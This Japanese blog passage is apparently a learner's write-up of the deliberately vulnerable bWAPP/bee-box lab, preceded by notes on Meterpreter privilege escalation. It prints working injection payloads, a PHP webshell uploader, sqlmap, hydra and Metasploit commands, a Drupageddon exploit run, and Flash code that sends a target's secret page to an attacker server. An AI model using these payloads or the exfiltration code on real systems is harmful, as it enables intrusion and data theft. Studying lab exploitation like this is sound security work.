のmeterpreterセッション上で
getsystem
を実行するとSYSTEMになれた!
名前付きパイプの偽装による権限昇格が成功した様子
名前付きパイプとは、同じコンピュータ上で動作しているプログラム同士がデータをやり取りするプロセス間通信(IPC)の有力な方式の一つ。
Windowsのセキュリティはスレッドを実行するユーザーをトークンで識別しますが、 名前付きパイプのサーバーはクライアントのトークンを偽装できます。
偽装するというのは、サーバーがクライアントのアカウントとしてコードを実行するということであり、 オブジェクトへのアクセスをクライアントとして行いたい場合に便利
つまり、cmd.exeへの名前付きパイプを作成しておいて、そこにSYSTEMであると偽ってMeterpreterが接続すると、SYSTEM権限でのcmd.exeの実行が可能になるということ?
blog.cobaltstrike.com
以下のPowerSploitのExploitでもおそらく可能
yojimbosecurity.ninja
参考文献
zero-day.io
www.ceyhuncamli.com.tr
wjmccann.github.io
https://www.yeahhub.com/list-metasploit-exploits-modules-metasploitable3-vulnerable-machine/
www.mrb3n.com
最後
権限昇格のやり方が全然よくわかってないのでちゃんと勉強しないとダメだなあ
powershellに頼りきりだけどWindows7より前の標的にはどうやって権限昇格するんだろうか……
なんもわからん
bWAPP: bee-box writeup
ぺネトレの基本を押さえるためにBee-boxの問題全部解くぞ!!
全部解いたら、あとでほかのマシンを攻略するときの良いまとまった参考資料になる気がするぞ!
あんまりよくわかってないので間違ってたりしてたら指摘していただけると幸いです。
- A1-Injection
- HTML Injection - Reflected (GET)
- HTML Injection - Reflected (POST)
- HTML Injection - Reflected (URL)
- HTML Injection - Stored (Blog)
- iFrame Injection
- Mail Header Injection (SMTP)
- OS Command Injection
- OS Command Injection – Blind
- PHP Code Injection
- Server-Side Includes (SSI) Injection
- SQL Injection (GET/Search)
- SQL Injection (GET/Select)
- SQL Injection (POST/Search)
- SQL Injection (POST/Select)
- SQL Injection (AJAX/JSON/jQuery)
- Manual Intervention Required
- SQL Injection (Login Form/Hero)
- SQL Injection (Login Form/User)
- SQL Injection (SQLite)
- Drupal SQL Injection (Drupageddon)
- SQL Injection - Stored (Blog)
- SQL Injection - Stored (SQLite)
- SQL Injection - Stored (User-Agent)
- SQL Injection - Stored (XML)
- SQL Injection - Blind - Boolean-Based
- SQL Injection - Blind - Time-Based
- SQL Injection - Blind (SQLite)
- SQL Injection - Blind (WS/SOAP)
- XML/XPath Injection (Login Form)
- XML/XPath Injection (Search)
- A2 Broken Auth. & Session Mgmt.
- Broken Auth. - CAPTCHA Bypassing
- Broken Auth. - Forgotten Function
- Broken Auth. - Insecure Login Forms
- Broken Auth. - Logout Management
- Broken Auth. - Password Attacks
- Broken Auth. - Weak Passwords
- Session Mgmt. - Administrative Portals
- Session Mgmt. - Cookies (HTTPOnly)
- Session Mgmt. - Cookies (Secure)
- Session Mgmt. - Session ID in URL
- Session Mgmt. - Strong Sessions
- A4 – Insecure Direct Object References
- A5 – Security Misconfiguration
- A6 - Sensitive Data Exposure
- A7 - Missing Functional Level Access Control
- A9 - Using Known Vulnerable Components
- Other bugs
以下にBee-boxのソースコードが上がっています
https://github.com/theand-fork/bwapp-code/tree/master/bWAPP
https://github.com/lmoroz/bWAPP/tree/master/bWAPP
A1-Injection
HTML Injection - Reflected (GET)
- low
反射型なので、送信したスクリプトはサーバーに保存されない
<h1>aa</h1>
,<script>alert("a")</script>
。いつもの。
- medium
lowと同様にしているがうまく行かず。<>がどうやら& lt;
などにHtmlエンコードされている様子。
URLencodeすると解決! - hard
<?php function xss_check_3($data, $encoding = "UTF-8"){ return htmlspecialchars($data, ENT_QUOTES, $encoding); } print xss_check_3($data); ?>
となっているため、脆弱ではありません
以後、基本的にhardは脆弱ではありません。
HTML Injection - Reflected (POST)
GETと同じ
MediumもURLエンコードで解決。
HTML Injection - Reflected (URL)
ソースコードは次の通り
通常、document.url
、document.write
、document.location
は、適切に処理されない場合、DOM XSSの下にあるらしい。
反射型との違いは、クライアントサイドスクリプトの脆弱性を利用することらしいです(よくわからん)
- low
- medium
GET /bWAPP/htmli_current_url.php?<h1>aa</h1><h2>aa</h2>
GET /bWAPP/htmli_current_url.php#<h1>aa</h1><h2>aa</h2>
HTML Injection - Stored (Blog)
- low
<h1>aa</h1>
ができてる
また、以下のスクリプトでWebshellを設置できる
<?php echo 'Uploader<br>';echo '<br>';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';if( $_POST['_upl'] == "Upload" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload !!!</b><br><br>'; }else { echo '<b>Upload !!!</b><br><br>'; }}?>
iFrame Injection
- low
iframeとは、src属性で指定したURL(リンク先ページの内容)をインラインフレーム表示できるHTMLタグの一つ
ソースコードはこうなっている。
GET /bWAPP/iframei.php?ParamUrl=iframei.php&ParamWidth=250&ParamHeight=250
のParamUrl
の値を変更するとそのページがインライン表示された!
また、ParamUrl="></iframe><h1>a</h1><iframesrc="
で、以下のように挿入できる
- medium
lowと同じ方法でやったがダメだった
ソースコードを見ると、下のようになっているので、シングルクォート('), ダブルクォート("),バックスラッシュ () ,NUL (NULL バイト)が弾かれて、先頭にバックスラッシュが付与される。
Mediumではsrc=robots.txt
で固定で、PramWidth
でaddslash()が使われている
addslash()
が使われているとき、%bf%5c”
と書くと、”
が書けるらしい
%bf%5c'
と入力すると、%bf%5c
が中国語のMultiByteで?
となって、後ろの’
がフィルタリングされないらしい。
/bWAPP/iframei.php?ParamUrl=1%bf%5c'&ParamWidth=1%bf%5c"></iframe><h1>aa</h1>&ParamHeight=250
で、下のようになり成功した!
参考文献:
http://www.securityidiots.com/Web-Pentest/SQL-Injection/addslashes-bypass-sql-injection.html
Mail Header Injection (SMTP)
name = wagn \ nbcc:io098093oiscx0123@mailinator.com&email=bwapp%40mailinator.com&remarks=144&form=submit
とかでBCCを追加できるらしい
つまり、BCCとかをSMTPに解釈させることができる。BCCとしてメールを送り付けることができるらしい。
OS Command Injection
- low
www.nsa.gov;id
とすると下のように実行できている
- medium
ソースコードを見ると、以下のようになっている
www.nsa.gov | id
とすればよい
OS Command Injection – Blind
- low
先ほどと同じようにする
- medium
192.168.56.5|sleep 10
でいけた
PHP Code Injection
phpi.php?message=exec(id)
でいけた
ソースコードを見た感じ、MediumもHardも同じくspecialcharacters()でフィルタリングされてる。
Server-Side Includes (SSI) Injection
- low
ssii.shtmlに、htmlをインクルードしているらしい。CGIを使わずに動的にページを作成するときに使われる。
<script>alert("a")</script>
でいけた!
<!-- exec cmd="pwd" -->
でも行けるらしい - medium
single quote ('), double quote ("), backslash () and NUL (the NULL byte) がaddslash()でフィルタされているだけなので、
<h1>a</h1>
でいけた
SQL Injection (GET/Search)
' or '1'='1
,' order by 7-- -
,' Union select 1,2,3,4,5,6,7 -- -
が成功している
ソースコードは以下の通り
SQL Injection (GET/Select)
GETメソッドで'
を入れると以下のようにエラーが出た
'1 and '1'='1
を入力すると以下のようなエラー
1 and 1=1
とすると動く
ソースコードを見てみる
id = (入力)
となっている
idの属性が文字列型の時は’’
が必要で、整数型の時は''
は必要ないらしい。
1 and 1=0 union all select 1,2,3,4,5,6,7 --
で成功する
and 1=0
を入れないと、union selectでSelectした値が1で上書きされてしまうため、必要。
1 union all select 1,2,3,4,5,6,7 --
は不十分
SQL Injection (POST/Search)
' or '1'='1
,' order by 6 -- -
,' Union select 1,2,3,4,5,6,7 -- -
SQL Injection (POST/Select)
1 and 1=0 union all select 1,2,3,4,5,6,7 --
をPOSTする
SQL Injection (AJAX/JSON/jQuery)
' or '1'='1
でいけている
' union select 1,table_schema,table_name,4,5,6,7 from information_schema.tables -- -
などでも確認
また、ソースコードを確認してみると、
.getJSON("sqli_10-2.php", search, function(data) と書いてある。
HTTPのGET通信を行い、json形式に変換されたデータをサーバから受け取っているのでブラウザからGETで送信しても確認
Manual Intervention Required
普通に表示されているのを入力して、
SQL Injection (Login Form/Hero)
‘ or ‘1’ = ‘1
で行けてる。いつものと同じ(は?)
$login = $_POST["login"]; $login = sqli($login); $password = $_POST["password"]; $password = sqli($password); $sql = "SELECT * FROM heroes WHERE login = '" . $login . "' AND password = '" . $password . "'"; // echo $sql; $recordset = mysqli_query($link, $sql); if(!$recordset) { die("Error: " . mysqli_error()); } else { $row = mysqli_fetch_array($recordset); if($row["login"]) { // $message = "<font color=\"green\">Welcome " . ucwords($row["login"]) . "...</font>"; $message = "<p>Welcome <b>" . ucwords($row["login"]) . "</b>, how are you today?</p><p>Your secret: <b>" . ucwords($row["secret"]) . "</b></p>"; // $message = $row["login"]; }
つまり、「Selectで入力されたユーザーがDBに登録されているかどうかを調べて、戻り値に誰かしらのユーザーが存在すればそのユーザとしてログインする」認証において、or 1=1
とすることですべてのユーザーを戻り値として受け取るのでログインできている(?)
SQL Injection (Login Form/User)
'
を入力すると、
‘ or ‘1’ = ‘1
,' or '1' = '1 -- -
を入力すると、
SQLエラーは起きていないので、普通に認証の段階でつまずいている
今回は、user名はSQLで入力されたユーザをDBから戻り値として取ってくるが、passwordはSQLに含まれておらず、DBからの戻り値のユーザのパスワードと入力されたパスワードが一致しているかどうかを確認している
こちらはpasswordまではわからないのでuser:' or '1' = '1 -- -
,password:本当のパスワード
としない限りこれでは成功しない。
$login = $_POST["login"]; $login = sqli($login); $password = $_POST["password"]; $password = sqli($password); $password = hash("sha1", $password, false); $sql = "SELECT * FROM users WHERE login = '" . $login . "'"; // echo $sql; $recordset = mysqli_query($link, $sql); if(!$recordset) { die("Error: " . mysqli_error()); } else { $row = mysqli_fetch_array($recordset); if($row["login"] && $password == $row["password"]) { // $message = "<font color=\"green\">Welcome " . ucwords($row["login"]) . "...</font>"; $message = "<p>Welcome <b>" . ucwords($row["login"]) . "</b>, how are you today?</p><p>Your secret: <b>" . ucwords($row["secret"]) . "</b></p>"; // $message = $row["login"]; }
ただし、認証に失敗したとしてもSQL文は実行できているのでBlind Injectionはできる!
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND '1'='1
' or if((select version()) like "5%", sleep(10), null) -- -
が確認できた。
また、Error-basedの
' AND extractvalue(rand(),concat(0x3a,version()))-- -
を試したところ、実行はエラーでできていないが、結果的にデータベース名が判明している(それしかわからないが……)
参考:
https://www.perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/
https://github.com/codingo/OSCP-2/blob/master/Documents/SQL%20Injection%20Cheatsheet.md
SQL Injection (SQLite)
' or '1' = '1
でいけた
' Union select 1,2,sqlite_version(),4,5,6 -- -
でもいけた。
' Union select 1,2,version(),4,5,6 -- -
だとエラーが発生。
Drupal SQL Injection (Drupageddon)
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.56.8/drupal -u sample -p sample
でCVE-2014-3704に対応したエクスプロイトを実行
user:sample,password:sampleを作成するエクスプロイト
ペイロードは下の通り
/drupal/にいってログインしてみるとできる!
ちなみに、Metasploitにもエクスプロイトがあるのでそっちも試してみます
use multi/http/drupal_drupaggeddon
を使う
Metasploitのpayloadは下の通り。わけわかりませんね
SQL Injection - Stored (Blog)
格納型のSQLInjetionですね。POSTで送るデータでSQLInjetionできそうです
この入力に対して、以下のようなエラー
' or '1' = '1
を入力すると、エラーせずすべて表示されたので、SQLiの脆弱性があります
' order by 1 -- -
も試したが、エラーが出てしまった。コメントアウトができないようです。
なのでUNION SELECTとかは厳しそうですね
次にblind injectionを試してみます
- Boolead-based
- Error-based
- Time-based
' RLIKE (SELECT (CASE WHEN (9042=9042) THEN 0x61 ELSE 0x28 END)) AND 'NOrf'='NOrf
OR ROW(4201,1873)>(SELECT COUNT(*),CONCAT(0x71626a7671,(SELECT (ELT(4201=4201,1))),0x716b6a7171,FLOOR(RAND(0)*2))x FROM (SELECT 2894 UNION SELECT 1505 UNION SELECT 8532 UNION SELECT 9010)a GROUP BY x) AND 'REVp'='REVp
AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND 'ngwW'='ngwW
これらでうまく行っています!これらはSqlmap先輩が出力したpayloadです
これらのペイロードは割とよく見る気がするので覚えた方がよいかも
また、' or sleep(5) or '1'='1
でも行けてますね。
どうやら、最後にコメントアウトを入れることができないので '1'='1
で最後をエラーが出ないような形にしてあげれば良さそうです
参考文献:
SQLiのcheat sheet
https://github.com/codingo/OSCP-2/blob/master/Documents/SQL%20Injection%20Cheatsheet.md
Error-basedなどが詳しく書いてある
https://www.perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/
SQL Injection - Stored (SQLite)
' or '1' = '1
や'
を試してみるが、エラーは特に表示されない
この問題は格納型なので、INSERT INTO テーブル名 VALUES ( ‘値1′ [ , ‘値2’ ]・・・);
というソースコードになっているはず。
なので、試しに','');
を入力してみると、下のように空白が記憶されている
そこで、',sqlite_version());
を入力すると、下のようにバージョンが表示されている
',(select name from sqlite_master where type='table'));
を入力すると、以下のようになった.
よって任意のデータが読みだせますね
ちなみに、ソースコードは、下のようになっており、$entryに入力される
$sql = "INSERT INTO blog (id, date, entry, owner) VALUES (" . ++$id . ",'" . date('Y-m-d', time()) . "','" . $entry . "','" . $owner . "');";
参考文献
https://teckk2.github.io/web-pentesting/2018/02/07/SQL-Injection-Stored-(SQLite).html
SQL Injection - Stored (User-Agent)
User-AgentにSQLInjetionできそうです
Burpで'
をUser-Agentに入力してみます
とすると、内部エラーが出力されたのでSQLInjetionできます。
' or '1'='1
を入力すると、エラーなくすべて表示されました。
' order by 1 or '1'='1
を入力すると、以下のようなエラーが表示されました
この形から、INSERT INTO テーブル名 VALUES ( ‘値1’,’useragent’,’ipaddress’);
となっていることが予想されます。
先ほどの','');-- -
を試してみると、次のように空白が表示されています!
',database());-- -
などで成功しています!
また、Time-basedの' or sleep(5) or '1'='1
でも成功しました!
一つ前の問題でSqlmapが吐いた' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND 'ngwW'='ngwW
も成功しています!
実際に、以下でSqlmapを実行してみます
sqlmap -u "http://192.168.56.8/bWAPP/sqli_17.php" --cookie="security_level=0; PHPSESSID=d389eb23cf88b9d6be8473b173fcd1ff" --batch --level 3 -p User-Agent --dbs
Boolean-based,Error-based,Time-basedを検出しています!
SQL Injection - Stored (XML)
XML形式でデータをSQLパーサに送信するようです
特に何かを表示させるような感じではないので、Union型ではなさそうです
Burpで'
を入力してみます
すると次のようなエラーが表示されました
Time-basedの' or sleep(5) or '1'='1 -- -
を試すと成功!
Boolean-basedの' RLIKE (SELECT (CASE WHEN (1119=1119) THEN 0x73716c6d61702f312e332e313023737461626c652028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND 'ZyyZ'='ZyyZ
でも成功!
sqlmap -u "http://192.168.56.8/bWAPP/sqli_8-2.php" --cookie="security_level=0; PHPSESSID=d389eb23cf88b9d6be8473b173fcd1ff" --batch --level 3 --data="<reset><login>a</login><secret>Any bugs?</secret></reset>" --dbs --method POST --dbms mysql
を実行すると、以下のような結果が得られた
参考
動画ではError-based型で成功しているが自分は成功しなかった(???)
https://www.youtube.com/watch?v=cmTZ3LXyjsk
SQL Injection - Blind - Boolean-Based
Blindと書いてあるのでTime-basedとかBoolean-basedを試す
' or sleep(5) -- -
を実行すると、明らかに5秒以上動かなくなった……(なんでだ?)
' or sleep(5) or '1' = '1
とかはダメだった
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND 'ngwW'='ngwW
だと成功した!
' RLIKE (SELECT (CASE WHEN (1119=1119) THEN 0x73716c6d61702f312e332e313023737461626c652028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND 'ZyyZ'='ZyyZ
で試してみる
(1119=1119)
とすると、
(1119=1)とすると、
となっており、1bitの情報が得られる!
実際にSqlmapを実行すると、
SQL Injection - Blind - Time-Based
‘ or sleep(5) or ‘1’=’1
とか動かん。よくわからん
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND 'ngwW'='ngwW
で成功した!
Boolean-basedの
' RLIKE (SELECT (CASE WHEN (1119=1119) THEN 0x73716c6d61702f312e332e313023737461626c652028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND 'ZyyZ'='ZyyZ
は失敗した
SQL Injection - Blind (SQLite)
Blindを試す
より、Boolean-based型が成功している
Sqlmapを実行すると、
sqlmap -u "http://192.168.56.8/bWAPP/sqli_14.php?title=a&action=search" --cookie="security_level=0; PHPSESSID=d389eb23cf88b9d6be8473b173fcd1ff" --batch --level 5 --dbs --risk 3 -p title –dbms SQLite
SQL Injection - Blind (WS/SOAP)
Blindを試す
GETをsqli_5.php?title=' or '1'='2&action=go
とすると、
GETをsqli_5.php?title=' or '1'='1&action=go
とすると、
となっているので、Boolean-based型ができる!
また、Time-basedの
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND '1'='1
も成功している
' or sleep(5) and '1'='1
としても5秒以上ではあるがSleepしている(ような挙動)なので成功している?
XML/XPath Injection (Login Form)
xpathとはXML形式のファイルから特定の部分を指定して抽出するための構文(言語)らしいです
つまり、SQLみたいなものと解釈しています
SQLではないので、SQLInjetionのペイロードとは少し違いますが、似ています
見た感じPOSTっぽいですが、Burpで見てみるとGETでした!(はえー)
SQLiで定番の' or '1'='1
でログインできました!
参考文献:
Xpath Injectionのペイロードなどがのっている神
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection#tools
XML/XPath Injection (Search)
GETメソッドで映画のジャンルをactionとかsfとかを送信する
‘
をGETメソッドのgenre=’
としていれると次のerrorが発生
Genre=act
として省略してもgenre=action
と同じ動作をするのでxpath構文の中にcontains()
が実装されていると予想できるらしい
) or contains(genre, '
) or not(contains(genre, 'teck') and '1'='2
)]/password | a[contains(a,'
)]/*|//*[contains('1','1
が動くらしい(結果論で申し訳ない)
実際のソースコードは、
の通りである。
初め二つのペイロードはgenreに''を含む値、つまりすべてのジャンルの値を取り出している
3つ目は、xmlファイルの中のpasswordの中身をパイプでつないでるっぽい。
4つ目の')]/*|//*[contains('1','1
を使えばすべて表示できるらしい
参考:
https://teckk2.github.io/web-pentesting/2018/02/07/XML-XPath-Injection-(Search).html
A2 Broken Auth. & Session Mgmt.
Broken Auth. - CAPTCHA Bypassing
bee/bug
と書いてあるので、これとCAPTCHAでログインが可能である。
しかし、本来はUserとPasswordはブルートフォースで試すことになるため、アクセスするたびに毎回異なった正しい値を設定する必要があるCAPTCHAは邪魔である
本問はこれをBypassする問題
まずは普通にアクセスする際にどういう通信が発生しているのかWiresharkで確認してみる
http.request.method == "POST" or http.request.method == "GET"
でフィルタ
POST以外にも通信が発生している。
これはPOSTした際にクレデンシャルが間違っていた時に新しいCAPTCHAをサーバー側のSESSIONにセットし、GETで新しいCAPTCHAをWEBブラウザに表示しているからである。
実際にソースコードを確認すると、以下のようになっている。
else { if($_POST["captcha_user"] == $_SESSION["captcha"]) { if($_POST["login"] == $login && $_POST["password"] == $password) { $message = "<font color=\"green\">Successful login!</font>"; }
よって、POSTのみを行えばよい
これをBurpのIntruderで行う
上記の通り、成功している!この時の通信は以下の通りPOSTのみである
Broken Auth. - Forgotten Function
ソースコードは以下の通り。
if(isset($_POST["action"])) { $email = $_POST["email"]; if(!filter_var($email, FILTER_VALIDATE_EMAIL)) { $message = "<font color=\"red\">Please enter a valid e-mail address!</font>"; } else { $email = mysqli_real_escape_string($link, $email); $sql = "SELECT * FROM users WHERE email = '" . $email . "'"; // Debugging // echo $sql; $recordset = $link->query($sql); if(!$recordset) { die("Error: " . $link->error); }
RFC822を使用しているようなのでフィルタのチェックはガバガバか?と思ったが、mysqli_real_escape_stringがあるのでSQLInjetionはできなさそう。
つまり、MailAddressはブルートフォースする必要がある。
試しに以下でUserを作成する
これでやると行けたが、この問題の趣旨がよくわからない?なんでしょう??
Broken Auth. - Insecure Login Forms
- low
ソースコードを見るとクレデンシャルが書いてあります。
user="tonystark" password="I am Iron Man"でログイン成功!
- medium
ソースコードを見てみると、javascriptが見える
これを開発者ツールのConsoleで実行すると,passphraseが得られた。
- hard
user=bee,password=bugで成功。Broken Auth. - Logout Management
- low
ソースコードを見てみる
switch($_COOKIE["security_level"]) { case "0" : // Do nothing break; case "1" : // Destroys the session session_destroy(); break; case "2" : // Unsets all of the session variables $_SESSION = array(); // Destroys the session session_destroy(); break; default : // Do nothing break; }
どうやらlogin.phpにリダイレクトはされるが、Sessionは削除されないため、ログインしてるのと同じ。
- medium
MediumとHardではログアウトすると再度ログインする必要があった。
Broken Auth. - Password Attacks
- low
bee/bugで基本的にログイン自体はできるけど、その認証の違いを学ぶのが本問の趣旨(?)
lowレベルのソースコードは以下の通り、userとpasswordを確認しかしていない
if(isset($_POST["form"])) { if($_POST["login"] == $login && $_POST["password"] == $password) { $message = "<font color=\"green\">Successful login!</font>"; } else { $message = "<font color=\"red\">Invalid credentials! Did you forgot your password?</font>"; } }
- medium
POSTリクエストを見てみると、以下のようにランダムなSaltを送信している
if(isset($_POST["form"])) { if(isset($_SESSION["salt"]) && ($_POST["salt"] == $_SESSION["salt"])) { if($_POST["login"] == $login && $_POST["password"] == $password) { $message = "<font color=\"green\">Successful login!</font>"; } else { $message = "<font color=\"red\">Invalid credentials! Did you forgot your password?</font>"; } } else { $message = "<font color=\"red\">Incorrect salt!</font>"; } } $salt = random_string(); $_SESSION["salt"] = $salt;
毎回ランダムな値がセットされるのでHydraなどのブルートフォースツールは動かないっぽい
- hard
if(isset($_POST["form"])) { if(isset($_SESSION["captcha"]) && ($_POST["captcha_user"] == $_SESSION["captcha"])) { if($_POST["login"] == $login && $_POST["password"] == $password) { $message = "<font color=\"green\">Successful login!</font>"; } else { $message = "<font color=\"red\">Invalid credentials! Did you forgot your password?</font>"; } } else { $message = "<font color=\"red\">Incorrect CAPTCHA!</font>"; } }
CAPTCHAはおそらくリロードしない限りは使いまわせる
Broken Auth. - Weak Passwords
正しいパスワードをブルートフォースで攻撃する
$login = "test"; switch($_COOKIE["security_level"]) { case "0" : $password = "test"; break; case "1" : $password = "test123"; break; case "2" : $password = "Test123"; break; default : $password = "test"; break; }
/usr/share/john/password.lst
,/usr/share/wfuzz/wordlist/general/big.txt
ならtest
とtest123
ならいけた。Test123
があるワードリストはWordlistsディレクトリ下にはない。
hydra -L /usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt -P /usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt -s 80 192.168.56.8 http-post-form '/bWAPP/ba_weak_pwd.php:login=^USER^&password=^PASS^&form=submit:Invalid credentials!:H=Cookie:security_level=0; PHPSESSID=fdecda3af8c9c666618ffc6af4b27c5c; has_js=1'
を実行するとlowレベルなら成功!
Session Mgmt. - Administrative Portals
- low
smgmt_admin_portal.php?admin=0
となっているURLの値をadmin=1
とすると、成功
- medium
Cookieの中にadmin=0とあるのでこれをadmin=1とするころでUnlock!
- low
初めからUnlockになっているゾ
Session Mgmt. - Cookies (HTTPOnly)
<script> function show_my_cookies() { alert(document.cookie) } </script>
http only
属性がONの場合は、HTTPテキスト内のスクリプトからCookieをアクセスできなくなる。 これにより、ウェブサイトにクロスサイト・スクリプティングの脆弱性があっても、その脆弱性によってCookieを盗まれるという事態を防止できる。
しかし、今回はOFFとなっているので、もしXSSができる場合にSESSIONが盗まれてしまう
http only
属性はChromeの[Application]の[Cookies]で確認する
また、Cookiesをクリックすると以下のように表示された。
ここで<h1>aa</h1>
などのInjectionを試すと実行されている
Mediumではhttp only属性が付与されている
Htmlでは表示されているtop_securityにhttp only属性が付与されているため、alert(daocument.cookie)の実行で表示している[here]タブからは参照できない
Session Mgmt. - Cookies (Secure)
secure属性を指定すると、TLSもしくはSSLで保護された通信が用いられている場合のみ、Cookieがブラウザから送出されるようになる。
Mediumでhttpsでアクセスすると、以下のようにSecure属性がついているtop_securityがサーバに投げられてhtmlに表示される。
httpでアクセスするとSecure属性のtop_securityはサーバに送信されず、Htmlに表示されていない
Session Mgmt. - Session ID in URL
lowの時のみ、URLにSessionIDが見えている
Session Mgmt. - Strong Sessions
- low
Hereにアクセスすると以下のようにStrongSessionを持っていないといわれる。
- medium
Mediumでアクセスしてみると以下のようになった。
CookieにSessionIDが設定されている。Secure属性がついていないため、httpでもStrongSessionIDが付与されている。これでは盗聴されたときにSessionハイジャックに脆弱である。
- high
乱数をSHA256ハッシュ化したStrongSessionIDにSSL/TLS通信でhttp only, http secure属性を付与している。これなら普通は盗まれないのかな?
// Generates a SSL secured cookie // Generates a random token $token = uniqid(mt_rand(0,100000)); $token = hash("sha256", $token); $_SESSION["top_security_ssl"] = $token; // The cookie will be available within the entire domain // Sets the Http Only flag and the Secure flag setcookie("top_security_ssl", $token, time()+3600, "/", "", true, true);
A4 – Insecure Direct Object References
Insecure DOR (Change Secret)
POSTで送信するデータを見てみると、
となっており、このlogin=bee
の値を書き換えることで別のユーザーのSecretを上書きできる。
MediumやHighではPOSTは以下のようにランダムな値であるTokenに変わっている
// If the security level is MEDIUM or HIGH if(!isset($_REQUEST["token"]) or !isset($_SESSION["token"]) or $_REQUEST["token"] != $_SESSION["token"]) { $message = "<font color=\"red\">Invalid token!</font>"; }
ランダムなTokenを作成して、それをSESSIONとPOSTにそれぞれ入れて、それが一致か確認する認証に変わっている。
Lowでは、ユーザー名は$SESSIONから取得するべきで、POSTの$REQUESTSには入れるべきではないのに入っているのが問題
// A random token is generated when the security level is MEDIUM or HIGH if($_COOKIE["security_level"] == "1" or $_COOKIE["security_level"] == "2") { $token = sha1(uniqid(mt_rand(0,100000))); $_SESSION["token"] = $token; }
Insecure DOR (Reset Secret)
POSTを見ると、login=beeとなっているため、このユーザー名を書き換えることでその他のユーザのSecretを書き換えらえる。
Insecure DOR (Order Tickets)
POSTを見てみると、価格も送信しているのでこれを15じゃなくて100に書き換えてみる
レスポンスを見ると下のように書き換えられている!
A5 – Security Misconfiguration
Arbitrary File Access (Samba)
enum4linux 192.168.56.8
smbclient //192.168.56.8/tmp
パスワードなしで接続できる共有フォルダがあれば、Metasploitを用いてrootディレクトリ以下のコピーを作成できる
use auxiliary/admin/smb/samba_symlink_traversal set RHOSTS 192.168.56.8 set SMBSHARE tmp exploit
Metasploitを使わずに同じことをしたいがどうやるんだろう??
/etc/passwd
も読める
Cross-Domain Policy File (Flash)
本問はFlashのRevive Adserver before 3.2.2でデフォルトでクロスドメイン制約がすべてのドメインに関して許可されていることによるCSRFが可能というテーマである(CVE-2015-7369)
CSRFとは、オンラインサービスを利用するユーザーがログイン状態を保持したまま悪意のある第三者の作成したURLなどをクリックした場合などに、本人が意図しない形で情報・リクエストを送信されてしまうことである
つまり、今回の攻撃は攻撃者が用意したbee-boxとは別のWebサーバにアクセスするだけで、bee-boxに勝手にアクセスされて任意の操作(User作成、Secretの取得や書き換えなど)をされてしまうということ。
ログインしている状態でこのような攻撃者のWebページにアクセスしてしまうと、ユーザが気づかない間に勝手に情報が抜かれていることがありえる。
ルートディレクトリに存在しているcrossdomain.xmlを見てみると、下のようにすべてのドメインからの操作を許可している
攻撃用サーバにアップするソースコードなどのサンプルが/evil/にあるらしいのでアクセスしてみる
SWFファイルとは、Adobe Flashなどで作成されたベクターアニメーションなどが格納された再生用ファイルの形式で、.asファイルをコンパイルして作成する。
標準のファイル拡張子は「.swf」。Webブラウザなどに組み込まれたFlash Playerなどで再生・実行される。
今回は.asファイル
にbee-boxのsecret.phpにアクセスしてそこからデータを取得して、攻撃者のphpファイルに返すような動作を記述する
コンパイラは以下を使用
Kali側の攻撃用サーバのxdx.php
は以下の通りである
<?php if(isset($_POST["data"])) { $req_dump = $_POST["data"]; $fp = fopen("xdx.log", "a"); fwrite($fp, $req_dump); fclose($fp); exit; } ?> <!DOCTYPE html> <html> <object type="application/x-shockwave-flash" data="xdx.swf" width="1" height="1"> <param name="movie" value="xdx.swf" /> </object> </html>
xdx.as
は以下の通りである。/evil/にあるファイルのうち、二つのURLを変更しただけ
// Author: Gursev Singh Kalra (gursev.kalra@foundstone.com) // Customizations by Malik Mesellem (malik@itsecgames.com) // xdx.as // Thanks - http://help.adobe.com/en_US/as3/dev/WS5b3ccc516d4fbf351e63e3d118a9b90204-7cfd.html#WS5b3ccc516d4fbf351e63e3d118a9b90204-7cf5 package { import flash.display.Sprite; import flash.events.*; import flash.net.URLRequestMethod; import flash.net.URLRequest; import flash.net.URLVariables; import flash.net.URLLoader; public class xdx extends Sprite { public function xdx() { // Target URL from where the data is to be retrieved var readFrom:String = "http://192.168.56.8/bWAPP/secret.php"; var readRequest:URLRequest = new URLRequest(readFrom); var getLoader:URLLoader = new URLLoader(); getLoader.addEventListener(Event.COMPLETE, eventHandler); try { getLoader.load(readRequest); } catch (error:Error) { trace("Error loading URL: " + error); } } private function eventHandler(event:Event):void { // URL to which retrieved data is to be sent var sendTo:String = "http://10.0.2.15/share/crossdomain/xdx.php" var sendRequest:URLRequest = new URLRequest(sendTo); var variables:URLVariables = new URLVariables(); variables.data = event.target.data; sendRequest.method = URLRequestMethod.POST; sendRequest.data = variables; var sendLoader:URLLoader = new URLLoader(); try { sendLoader.load(sendRequest); } catch (error:Error) { trace("Error loading URL: " + error); } } } }
/opt/flex_sdk/bin/mxmlc xdx.as
でasファイル
をswfファイル
にコンパイル
service apache2 start
でKali側で攻撃用サーバを立ち上げる
ChromeではデフォルトでFlashのPluginが無効なので有効にする
ChromeのNetworkで確認すると以下のようになっており、secret.phpにアクセスできている!
参考文献:
とても詳細に解説が書いてある
https://m.blog.naver.com/PostView.nhn?blogId=is_king&logNo=221618987993&proxyReferer=https%3A%2F%2Fwww.google.com%2F
さらにUserを作成するようなActionScriptがある。
https://medium.com/@x41x41x41/exploiting-crossdomain-xml-missconfigurations-3c8d407d05a8
Insecure FTP Configuration
ftp 192.168.56.8
lftp -u anonymous,anonymous 192.168.56.8
Filezilla
